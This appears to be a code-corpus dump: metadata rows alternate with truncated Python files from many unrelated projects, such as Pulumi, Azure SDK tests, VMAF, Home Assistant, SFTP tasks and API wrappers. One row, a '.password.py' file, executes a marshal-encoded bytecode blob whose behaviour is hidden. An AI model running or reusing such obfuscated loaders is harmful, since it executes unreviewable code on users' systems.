6ad96ee0742eb74d9fad999e7d37a0127ae1d073 | 36,072 | py | Python | sdk/python/pulumi_aws/cloudformation/cloud_formation_type.py | dmelo/pulumi-aws | dd1a08d1fb93bab0d046aa410ca660f05ca0a58c | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_aws/cloudformation/cloud_formation_type.py | dmelo/pulumi-aws | dd1a08d1fb93bab0d046aa410ca660f05ca0a58c | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_aws/cloudformation/cloud_formation_type.py | dmelo/pulumi-aws | dd1a08d1fb93bab0d046aa410ca660f05ca0a58c | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import... | 50.1 | 616 | 0.679114 | 4,177 | 36,072 | 5.646158 | 0.057936 | 0.065765 | 0.071235 | 0.06903 | 0.878816 | 0.845404 | 0.816147 | 0.798211 | 0.785321 | 0.746523 | 0 | 0.001999 | 0.22322 | 36,072 | 719 | 617 | 50.16968 | 0.839686 | 0.395099 | 0 | 0.578049 | 1 | 0 | 0.127611 | 0.032524 | 0 | 0 | 0 | 0 | 0 | 1 | 0.165854 | false | 0.002439 | 0.017073 | 0 | 0.287805 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0a72d552d8d32245e2aec7a82cd2682ad80b093e | 36,560 | py | Python | sdk/storage/azure-storage-blob/tests/test_cpk_n_async.py | rsdoherty/azure-sdk-for-python | 6bba5326677468e6660845a703686327178bb7b1 | [
"MIT"
] | 1 | 2021-04-26T21:15:01.000Z | 2021-04-26T21:15:01.000Z | sdk/storage/azure-storage-blob/tests/test_cpk_n_async.py | rsdoherty/azure-sdk-for-python | 6bba5326677468e6660845a703686327178bb7b1 | [
"MIT"
] | 2 | 2021-08-24T15:32:30.000Z | 2021-08-24T23:21:34.000Z | sdk/storage/azure-storage-blob/tests/test_cpk_n_async.py | rsdoherty/azure-sdk-for-python | 6bba5326677468e6660845a703686327178bb7b1 | [
"MIT"
] | 1 | 2016-04-19T22:15:47.000Z | 2016-04-19T22:15:47.000Z | # coding: utf-8
# -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------... | 48.746667 | 145 | 0.678993 | 4,110 | 36,560 | 5.677129 | 0.07129 | 0.062358 | 0.050144 | 0.052801 | 0.858312 | 0.843741 | 0.831998 | 0.813226 | 0.790683 | 0.771825 | 0 | 0.014709 | 0.241302 | 36,560 | 749 | 146 | 48.811749 | 0.826484 | 0.11198 | 0 | 0.737736 | 0 | 0 | 0.038647 | 0.011718 | 0 | 0 | 0 | 0 | 0.192453 | 1 | 0.003774 | false | 0.001887 | 0.018868 | 0.001887 | 0.037736 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0ab7308e720e0536a0d4fbb99d86f33047e19b51 | 49,357 | py | Python | src/baselines/common/lego_policies_artificial_mask_pretrain.py | POSTECH-CVLab/Brick-by-Brick | b000f98f04c17d6f59bb4f0144b997583c479e2a | [
"MIT"
] | 3 | 2022-01-23T14:14:36.000Z | 2022-02-21T14:41:31.000Z | src/baselines/common/lego_policies_artificial_mask_pretrain.py | POSTECH-CVLab/Brick-by-Brick | b000f98f04c17d6f59bb4f0144b997583c479e2a | [
"MIT"
] | null | null | null | src/baselines/common/lego_policies_artificial_mask_pretrain.py | POSTECH-CVLab/Brick-by-Brick | b000f98f04c17d6f59bb4f0144b997583c479e2a | [
"MIT"
] | null | null | null | import tensorflow as tf
from baselines.a2c.utils import fc, fc_relu, conv, ortho_init, fc_sigmoid
from baselines.common.distributions import make_pdtype
import gym
import numpy as np
class Init_FC(tf.keras.Model):
def __init__(self, hidden_dim=64, init_dim = 4, target_dim = 192, layer_type=0, layer_num=0):
... | 51.14715 | 240 | 0.715684 | 6,753 | 49,357 | 4.853695 | 0.031542 | 0.108918 | 0.057967 | 0.031119 | 0.981633 | 0.973518 | 0.970833 | 0.968026 | 0.964548 | 0.95265 | 0 | 0.011372 | 0.180481 | 49,357 | 964 | 241 | 51.200207 | 0.798957 | 0.148834 | 0 | 0.859091 | 0 | 0 | 0.019957 | 0 | 0 | 0 | 0 | 0 | 0.009091 | 1 | 0.054545 | false | 0.036364 | 0.011364 | 0 | 0.120455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0ad9aff4ea8fa988a8e9703dad7e58d85dd2bd44 | 96,028 | py | Python | python/test/quality_runner_test.py | match/vmaf | 96dd464c08b2b5fd841498b25991c1d04acdb283 | [
"Apache-2.0"
] | null | null | null | python/test/quality_runner_test.py | match/vmaf | 96dd464c08b2b5fd841498b25991c1d04acdb283 | [
"Apache-2.0"
] | null | null | null | python/test/quality_runner_test.py | match/vmaf | 96dd464c08b2b5fd841498b25991c1d04acdb283 | [
"Apache-2.0"
] | 1 | 2021-09-06T08:32:00.000Z | 2021-09-06T08:32:00.000Z | from vmaf.tools.stats import ListStats
__copyright__ = "Copyright 2016-2018, Netflix, Inc."
__license__ = "Apache, Version 2.0"
import os
import unittest
from vmaf.config import VmafConfig
from vmaf.core.asset import Asset, NorefAsset
from vmaf.core.quality_runner import VmafLegacyQualityRunner, VmafQualityRunner, \... | 53.378544 | 135 | 0.692277 | 11,501 | 96,028 | 5.490392 | 0.036171 | 0.187236 | 0.248761 | 0.199097 | 0.950146 | 0.947771 | 0.93621 | 0.930636 | 0.902051 | 0.870869 | 0 | 0.11191 | 0.19285 | 96,028 | 1,798 | 136 | 53.408231 | 0.70277 | 0.001062 | 0 | 0.737805 | 0 | 0 | 0.204758 | 0.144241 | 0 | 0 | 0 | 0 | 0.395664 | 0 | null | null | 0.001355 | 0.00542 | null | null | 0.039295 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
0afd86b35326bc651bd014c5d7c5f29a93f0fc48 | 39 | py | Python | pex-compile/test1.py | kodo-pp/pyke | 3d216911819087b123126831fb702d2bb0cc240f | [
"Apache-2.0"
] | 1 | 2020-11-27T23:09:46.000Z | 2020-11-27T23:09:46.000Z | pex-compile/test1.py | kodo-pp/pyke | 3d216911819087b123126831fb702d2bb0cc240f | [
"Apache-2.0"
] | null | null | null | pex-compile/test1.py | kodo-pp/pyke | 3d216911819087b123126831fb702d2bb0cc240f | [
"Apache-2.0"
] | null | null | null | def foo(a, b, c):
print(a + b + c)
| 13 | 20 | 0.435897 | 9 | 39 | 1.888889 | 0.666667 | 0.235294 | 0.352941 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 39 | 2 | 21 | 19.5 | 0.653846 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0 | 0.5 | 0.5 | 1 | 1 | 1 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 8 |
e400917d8ea2037d2085e6abe4a7bf55eb326de0 | 11,337 | py | Python | findAccelerations.py | mguzdial3/VideoGameEngineLearning | 4a849df7a5a53f97d604c47594fc34874bef2982 | [
"MIT"
] | 5 | 2018-06-05T20:19:59.000Z | 2020-06-04T06:53:03.000Z | findAccelerations.py | mguzdial3/VideoGameEngineLearning | 4a849df7a5a53f97d604c47594fc34874bef2982 | [
"MIT"
] | null | null | null | findAccelerations.py | mguzdial3/VideoGameEngineLearning | 4a849df7a5a53f97d604c47594fc34874bef2982 | [
"MIT"
] | 3 | 2019-03-03T18:50:33.000Z | 2020-01-17T00:36:46.000Z | import csv, shutil, sys, os, copy, glob
import random, math
import numpy as np
frameDirectory = "./frames5-25fpers/"
#The thing for storing a reference to a single object in a frame
class FrameObject:
def __init__(self, name, positionX, positionY, width, height, velocityX, velocityY, confidence):
self.name = name... | 30.723577 | 217 | 0.684749 | 1,350 | 11,337 | 5.747407 | 0.148148 | 0.015466 | 0.017013 | 0.029385 | 0.824333 | 0.817373 | 0.817373 | 0.811445 | 0.811445 | 0.811445 | 0 | 0.014073 | 0.210285 | 11,337 | 369 | 218 | 30.723577 | 0.852563 | 0.124283 | 0 | 0.874564 | 0 | 0 | 0.041574 | 0.012644 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.010453 | null | null | 0.006969 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
7c4ee8db58f664af4a9779fa60b93c2d5dc4e596 | 21,235 | py | Python | tests/components/climate/test_generic_thermostat.py | rubund/debian-home-assistant | 1a3e8f7e4b9ddec60a4380e141fb327d03ac69b5 | [
"MIT"
] | 1 | 2020-07-17T14:52:56.000Z | 2020-07-17T14:52:56.000Z | tests/components/climate/test_generic_thermostat.py | 1Forward1Back/home-assistant | ce24ef0c20dea0fd671d6f2c2a8b1456b4b66ba6 | [
"MIT"
] | null | null | null | tests/components/climate/test_generic_thermostat.py | 1Forward1Back/home-assistant | ce24ef0c20dea0fd671d6f2c2a8b1456b4b66ba6 | [
"MIT"
] | 1 | 2020-07-17T14:53:53.000Z | 2020-07-17T14:53:53.000Z | """The tests for the generic_thermostat."""
import datetime
import unittest
from unittest import mock
from homeassistant.core import callback
from homeassistant.bootstrap import setup_component
from homeassistant.const import (
ATTR_UNIT_OF_MEASUREMENT,
SERVICE_TURN_OFF,
SERVICE_TURN_ON,
STATE_ON,
... | 38.679417 | 77 | 0.640075 | 2,618 | 21,235 | 4.953018 | 0.067227 | 0.069715 | 0.043109 | 0.056374 | 0.900671 | 0.885556 | 0.860492 | 0.826637 | 0.799799 | 0.784761 | 0 | 0.013071 | 0.247045 | 21,235 | 548 | 78 | 38.75 | 0.797924 | 0.123334 | 0 | 0.773171 | 0 | 0 | 0.070564 | 0.010081 | 0 | 0 | 0 | 0 | 0.192683 | 1 | 0.12439 | false | 0 | 0.021951 | 0 | 0.158537 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
7c8475b2bd5948c05b213222fa506ea5a494fa40 | 108 | py | Python | tests/samples/project/vendor/fooba/models/config_dependency_inheritance.py | machinable-org/machinable | 9d96e942dde05d68699bc7bc0c3d062ee18652ad | [
"MIT"
] | 23 | 2020-02-28T14:29:04.000Z | 2021-12-23T20:50:54.000Z | tests/samples/project/vendor/fooba/models/config_dependency_inheritance.py | machinable-org/machinable | 9d96e942dde05d68699bc7bc0c3d062ee18652ad | [
"MIT"
] | 172 | 2020-02-24T12:12:11.000Z | 2022-03-29T03:08:24.000Z | tests/samples/project/vendor/fooba/models/config_dependency_inheritance.py | machinable-org/machinable | 9d96e942dde05d68699bc7bc0c3d062ee18652ad | [
"MIT"
] | 1 | 2020-11-23T22:42:20.000Z | 2020-11-23T22:42:20.000Z | from .extended import ExtendedTestModel
class DependencyInhertanceTestModel(ExtendedTestModel):
pass
| 15.428571 | 55 | 0.833333 | 8 | 108 | 11.25 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12963 | 108 | 6 | 56 | 18 | 0.957447 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 7 |
7c91cd3d5d3b8cbd42c3d7319a68397e3a3119c4 | 4,508 | py | Python | Noprian/Noprian-enc/.password.py | shyamjangid07/Reverse-Engineering | 469efabcd6057f7895d8d891f1fabdf2ffe730b0 | [
"Apache-2.0"
] | 337 | 2020-08-15T12:22:14.000Z | 2022-03-29T06:05:15.000Z | Noprian/Noprian-enc/.password.py | Wh014M/Reverse-Engineering | f7aae2c43f7ea4a6730964d085c07814b6660a53 | [
"Apache-2.0"
] | 3 | 2020-11-12T14:30:48.000Z | 2021-05-18T16:56:22.000Z | Noprian/Noprian-enc/.password.py | Wh014M/Reverse-Engineering | f7aae2c43f7ea4a6730964d085c07814b6660a53 | [
"Apache-2.0"
] | 83 | 2020-08-15T00:22:58.000Z | 2022-03-31T08:40:23.000Z | import marshal
exec(marshal.loads('''c\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00@\x00\x00\x00s\xed\x00\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00d\x00\x00d\x01\x00l\x01\x00Z\x01\x00d\x00\x00d\x01\x00l\x02\x00Z\x02\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00d\x00\x00d\x01\x00l\x03\x00Z\x03\x00e\x02\x00j\x04\x00Z\x04\... | 2,254 | 4,493 | 0.732697 | 953 | 4,508 | 3.440714 | 0.161595 | 0.353156 | 0.203111 | 0.128088 | 0.353156 | 0.264105 | 0.174748 | 0.139677 | 0.132357 | 0.122598 | 0 | 0.383371 | 0.026176 | 4,508 | 2 | 4,493 | 2,254 | 0.363554 | 0 | 0 | 0 | 0 | 0.5 | 0.990464 | 0.924817 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 13 |
7ca30904334758be188e88d77333404500f838b9 | 164 | py | Python | budgetsupervisor/budget/admin.py | ltowarek/budget-supervisor | 862a2d720aecd4ad2fded9c63bc839190ebbc77e | [
"MIT"
] | 1 | 2022-03-01T10:28:31.000Z | 2022-03-01T10:28:31.000Z | budgetsupervisor/budget/admin.py | ltowarek/budget-supervisor | 862a2d720aecd4ad2fded9c63bc839190ebbc77e | [
"MIT"
] | 75 | 2020-11-07T20:14:55.000Z | 2021-10-05T15:08:22.000Z | budgetsupervisor/budget/admin.py | ltowarek/budget-supervisor | 862a2d720aecd4ad2fded9c63bc839190ebbc77e | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import Account, Category, Connection, Transaction
admin.site.register((Account, Category, Connection, Transaction))
| 27.333333 | 65 | 0.810976 | 19 | 164 | 7 | 0.631579 | 0.225564 | 0.37594 | 0.541353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.103659 | 164 | 5 | 66 | 32.8 | 0.904762 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
7ccd23c853f32281523e16d82fd560482d1c89f5 | 8,048 | py | Python | src/prefect/tasks/sftp/sftp.py | vlad-mois/prefect | 5427ddb2e49dc4732ad034c58ed2604ea1faa4a3 | [
"Apache-2.0"
] | null | null | null | src/prefect/tasks/sftp/sftp.py | vlad-mois/prefect | 5427ddb2e49dc4732ad034c58ed2604ea1faa4a3 | [
"Apache-2.0"
] | null | null | null | src/prefect/tasks/sftp/sftp.py | vlad-mois/prefect | 5427ddb2e49dc4732ad034c58ed2604ea1faa4a3 | [
"Apache-2.0"
] | null | null | null | import os.path
import contextlib
from typing import Optional
from paramiko import Transport, SFTPClient, SFTPError
from prefect import Task
from prefect.utilities.tasks import defaults_from_attrs
class SftpDownload(Task):
"""
Task for downloading files from an SFTP server.
Downloads remote file into sftp... | 35.768889 | 98 | 0.604871 | 954 | 8,048 | 4.984277 | 0.137317 | 0.063091 | 0.032387 | 0.030284 | 0.792219 | 0.782334 | 0.782334 | 0.782334 | 0.750158 | 0.750158 | 0 | 0.00036 | 0.310388 | 8,048 | 224 | 99 | 35.928571 | 0.856396 | 0.361456 | 0 | 0.714286 | 0 | 0 | 0.133887 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | false | 0.111111 | 0.047619 | 0 | 0.134921 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
7ce1d323aae98bd5c71532484e332022d2b60f20 | 30,619 | py | Python | test/vanilla/version-tolerant/Expected/AcceptanceTests/BodyStringVersionTolerant/bodystringversiontolerant/aio/operations/_operations.py | changlong-liu/autorest.python | 1f03e4c6a11934d385fab050dc44041f1e91e9ff | [
"MIT"
] | null | null | null | test/vanilla/version-tolerant/Expected/AcceptanceTests/BodyStringVersionTolerant/bodystringversiontolerant/aio/operations/_operations.py | changlong-liu/autorest.python | 1f03e4c6a11934d385fab050dc44041f1e91e9ff | [
"MIT"
] | null | null | null | test/vanilla/version-tolerant/Expected/AcceptanceTests/BodyStringVersionTolerant/bodystringversiontolerant/aio/operations/_operations.py | changlong-liu/autorest.python | 1f03e4c6a11934d385fab050dc44041f1e91e9ff | [
"MIT"
] | null | null | null | # pylint: disable=too-many-lines
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRe... | 38.514465 | 106 | 0.647898 | 3,412 | 30,619 | 5.6568 | 0.071805 | 0.039376 | 0.035439 | 0.025595 | 0.915911 | 0.907311 | 0.882441 | 0.858764 | 0.849593 | 0.835967 | 0 | 0.012034 | 0.250955 | 30,619 | 794 | 107 | 38.562972 | 0.821147 | 0.080571 | 0 | 0.757709 | 0 | 0 | 0.028948 | 0.003125 | 0 | 0 | 0 | 0 | 0 | 1 | 0.004405 | false | 0 | 0.015419 | 0 | 0.090308 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
6b3843b991e8e2730b1021815dd31277a43c32d8 | 8,566 | py | Python | bokeh_app/scripts/functions/test_fourier.py | goodteamname/spino | aa8c6cfa9f94a639c306d85ca6df2483108fda37 | [
"MIT"
] | null | null | null | bokeh_app/scripts/functions/test_fourier.py | goodteamname/spino | aa8c6cfa9f94a639c306d85ca6df2483108fda37 | [
"MIT"
] | 9 | 2020-10-26T10:57:00.000Z | 2020-11-01T14:48:21.000Z | bokeh_app/scripts/functions/test_fourier.py | goodteamname/spino | aa8c6cfa9f94a639c306d85ca6df2483108fda37 | [
"MIT"
] | 1 | 2020-10-26T10:41:31.000Z | 2020-10-26T10:41:31.000Z | import pytest
import numpy.testing as npt
@pytest.mark.parametrize(
"test, expectedShape, raises",
[
(
[1, 2, 3],
(1, 3),
None
),
(
[1, 2, 3, 4, 5, 6, 7],
(3, 3),
None
),
(
[1, 2, 3, 4,... | 27.022082 | 126 | 0.466028 | 907 | 8,566 | 4.245865 | 0.081588 | 0.021293 | 0.026487 | 0.030122 | 0.890418 | 0.867567 | 0.850428 | 0.796157 | 0.782914 | 0.708387 | 0 | 0.075114 | 0.409409 | 8,566 | 316 | 127 | 27.107595 | 0.686104 | 0.054284 | 0 | 0.71134 | 0 | 0 | 0.02974 | 0 | 0 | 0 | 0 | 0 | 0.058419 | 1 | 0.020619 | false | 0 | 0.027491 | 0 | 0.04811 | 0.020619 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
863256f4fa84c9896de8c6cdc9b3ad9876192f99 | 3,569 | py | Python | src/Coinpaprika/CoinpaprikaTags.py | coinpaper/coinpaprika-api-python-client | f819e38cf8657c9751ee55e638f3ed33d32346a4 | [
"MIT"
] | 5 | 2021-01-30T10:54:33.000Z | 2022-02-18T03:05:03.000Z | src/Coinpaprika/CoinpaprikaTags.py | coinpaper/coinpaprika-api-python-client | f819e38cf8657c9751ee55e638f3ed33d32346a4 | [
"MIT"
] | 1 | 2021-09-01T14:51:49.000Z | 2021-09-01T14:51:49.000Z | src/Coinpaprika/CoinpaprikaTags.py | coinpaper/coinpaprika-api-python-client | f819e38cf8657c9751ee55e638f3ed33d32346a4 | [
"MIT"
] | null | null | null | from typing import List, Dict
from .Coinpaprika import Coinpaprika
class CoinpaprikaTags():
def __call__(self, *additional_fields: str) -> List[Dict]:
"""
List tags
:param additional_fields: List of additional fields to include in query result for each tag.
... | 39.655556 | 169 | 0.464556 | 297 | 3,569 | 5.474747 | 0.262626 | 0.177122 | 0.070111 | 0.046125 | 0.851169 | 0.851169 | 0.800738 | 0.800738 | 0.800738 | 0.800738 | 0 | 0.007523 | 0.4413 | 3,569 | 89 | 170 | 40.101124 | 0.807924 | 0.650602 | 0 | 0.307692 | 0 | 0 | 0.079826 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.230769 | false | 0 | 0.153846 | 0 | 0.692308 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 8 |
86328f63b583b319613fa3fd9e9cb3978380b8f4 | 96 | py | Python | medium/unit-testing/mock_example.py | saneravi/ML_Stuff | 74e1ed7ba9f4dccb555792315a14ba6071150304 | [
"MIT"
] | 209 | 2015-01-02T03:47:12.000Z | 2022-03-06T16:54:47.000Z | medium/unit-testing/mock_example.py | Kerwin-Xie/algorithms | 4347a9b7bf54ef378d16d26ef9e357ddc710664b | [
"MIT"
] | 3 | 2015-12-06T14:40:34.000Z | 2021-03-22T17:40:24.000Z | medium/unit-testing/mock_example.py | Kerwin-Xie/algorithms | 4347a9b7bf54ef378d16d26ef9e357ddc710664b | [
"MIT"
] | 114 | 2015-01-31T08:37:10.000Z | 2022-02-23T04:42:28.000Z | import datetime
def generate_filename():
return f"{datetime.datetime.now():%Y-%m-%d}.png"
| 16 | 52 | 0.6875 | 14 | 96 | 4.642857 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 96 | 5 | 53 | 19.2 | 0.77381 | 0 | 0 | 0 | 1 | 0 | 0.395833 | 0.395833 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 8 |
8632d44bad398f1ca4197110829df69df1ed24eb | 115 | py | Python | flask_mongoengine/wtf/__init__.py | lokeshmeher/custom_flask_mongoengine | 9d6e605f4c17c9d7ca0e55a539215707c8e1272d | [
"BSD-3-Clause"
] | null | null | null | flask_mongoengine/wtf/__init__.py | lokeshmeher/custom_flask_mongoengine | 9d6e605f4c17c9d7ca0e55a539215707c8e1272d | [
"BSD-3-Clause"
] | null | null | null | flask_mongoengine/wtf/__init__.py | lokeshmeher/custom_flask_mongoengine | 9d6e605f4c17c9d7ca0e55a539215707c8e1272d | [
"BSD-3-Clause"
] | null | null | null | from flask_mongoengine.wtf.orm import model_fields, model_form
from flask_mongoengine.wtf.base import WtfBaseField
| 38.333333 | 62 | 0.878261 | 17 | 115 | 5.705882 | 0.647059 | 0.185567 | 0.412371 | 0.474227 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.078261 | 115 | 2 | 63 | 57.5 | 0.915094 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
863e98afe63fea81844127a53b6f0a1e9165a703 | 5,517 | py | Python | server.py | Jental/find_answer | 0f178e4b033b5c5e006c1f3779db1d9a3baddacf | [
"MIT"
] | null | null | null | server.py | Jental/find_answer | 0f178e4b033b5c5e006c1f3779db1d9a3baddacf | [
"MIT"
] | null | null | null | server.py | Jental/find_answer | 0f178e4b033b5c5e006c1f3779db1d9a3baddacf | [
"MIT"
] | null | null | null | from twisted.web.resource import Resource
from twisted.internet import reactor
from twisted.web.server import Site
import json
import numpy as np
import similarity
class MainPage(Resource):
isLeaf = True
def __init__(self, finder):
Resource.__init__(self)
self.finder = finder
def render_GET(self, requ... | 52.542857 | 103 | 0.646185 | 595 | 5,517 | 5.793277 | 0.147899 | 0.203655 | 0.316797 | 0.24282 | 0.815492 | 0.815492 | 0.815492 | 0.815492 | 0.815492 | 0.815492 | 0 | 0.014363 | 0.230198 | 5,517 | 104 | 104 | 53.048077 | 0.797269 | 0.015226 | 0 | 0.612245 | 0 | 0 | 0.124655 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.020408 | false | 0 | 0.061224 | 0 | 0.122449 | 0.040816 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
866b6fbb387f3280e15fadd668dbca7cb16bb100 | 16,385 | py | Python | tests/vmap/reference_data.py | alexander-maier/pylife | a9dceb3f364af16bf0a2d3015e34fa47192bfcf6 | [
"Apache-2.0",
"MIT"
] | 57 | 2019-11-29T23:45:08.000Z | 2022-03-31T09:11:20.000Z | tests/vmap/reference_data.py | alexander-maier/pylife | a9dceb3f364af16bf0a2d3015e34fa47192bfcf6 | [
"Apache-2.0",
"MIT"
] | 6 | 2021-03-29T10:40:42.000Z | 2022-03-30T12:29:10.000Z | tests/vmap/reference_data.py | alexander-maier/pylife | a9dceb3f364af16bf0a2d3015e34fa47192bfcf6 | [
"Apache-2.0",
"MIT"
] | 10 | 2020-09-28T17:44:47.000Z | 2022-01-21T17:59:19.000Z | import numpy as np
import pandas as pd
beam_2d_squ_nodes = pd.DataFrame(
data=np.array([[-30., 25., 0.],
[-25., 25., 0.],
[-20., 25., 0.],
[-15., 25., 0.],
[-10., 25., 0.],
[-5., 25., 0.],
